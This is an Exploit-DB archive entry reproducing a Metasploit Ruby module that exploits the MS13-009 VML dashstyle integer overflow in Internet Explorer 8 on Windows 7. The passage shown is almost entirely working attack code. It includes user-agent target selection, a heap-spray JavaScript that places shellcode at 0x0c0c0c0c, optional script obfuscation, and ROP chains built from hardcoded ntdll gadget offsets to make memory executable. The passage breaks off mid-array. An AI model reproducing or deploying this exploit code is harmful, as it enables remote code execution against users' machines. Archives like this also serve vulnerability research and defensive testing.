Exploit-DB #26175
Description: Microsoft Internet Explorer - COALineDashStyleArray Integer Overflow (MS13-009) (Metasploit)
Type: remote
Platform: windows
Date: 2013-06-13
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => Rank
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
      'Description'    => %q{
          This module exploits an integer overflow vulnerability on Internet Explorer.
        The vulnerability exists in the handling of the dashstyle.array length for vml
        shapes on the vgx.dll module. This module has been tested successfully on Windows 7
        SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
        to use an info leak to disclose the ntdll.dll base address is provided. This target
        requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
        installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Joly', # Vulnerability discovery, PoC and analysis
          '4B5F5F4B', # PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2551' ],
          [ 'OSVDB', '91197' ],
          [ 'BID', '58570' ],
          [ 'MSB', 'MS13-037' ],
          [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
          [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
        ],
      'Payload'        =>
        {
          'Space'          => 948,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
            {
              'Rop' => :jre,
              'Offset' => '0x5f4'
            }
          ],
          # requires:
          # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
          # * ntdll.dll v6.1.7601.17725 (MS12-001)
          [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
            {
              'Rop' => :ntdll,
              'Offset' => '0x5f4'
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 06 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def exploit
    @second_stage_url = rand_text_alpha(10)
    @leak_param = rand_text_alpha(5)
    super
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    # Land the payload at 0x0c0c0c0c
    # For IE 8
    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def get_ntdll_rop
    case @ntdll_version
    when "6.1.7601.17514"
      stack_pivot = [
        @ntdll_base+0x0001578a, # ret # from ntdll
        @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
        @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
      ].pack("V*")
      ntdll_rop = [
        @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
        0x0c0c0c40, # ret to shellcode
        0xffffffff, # ProcessHandle
        0x0c0c0c34, # ptr to BaseAddress
        0x0c0c0c38, # ptr to NumberOfBytesToProtect
        0x00000040, # NewAccessProtection
        0x0c0c0c3c, # ptr to OldAccessProtection
        0x0c0c0c40, # BaseAddress
        0x00000400, # NumberOfBytesToProtect
        0x41414141  # OldAccessProtection
      ].pack("V*")
      return stack_pivot + ntdll_rop
    when "6.1.7601.17725"
      stack_pivot = [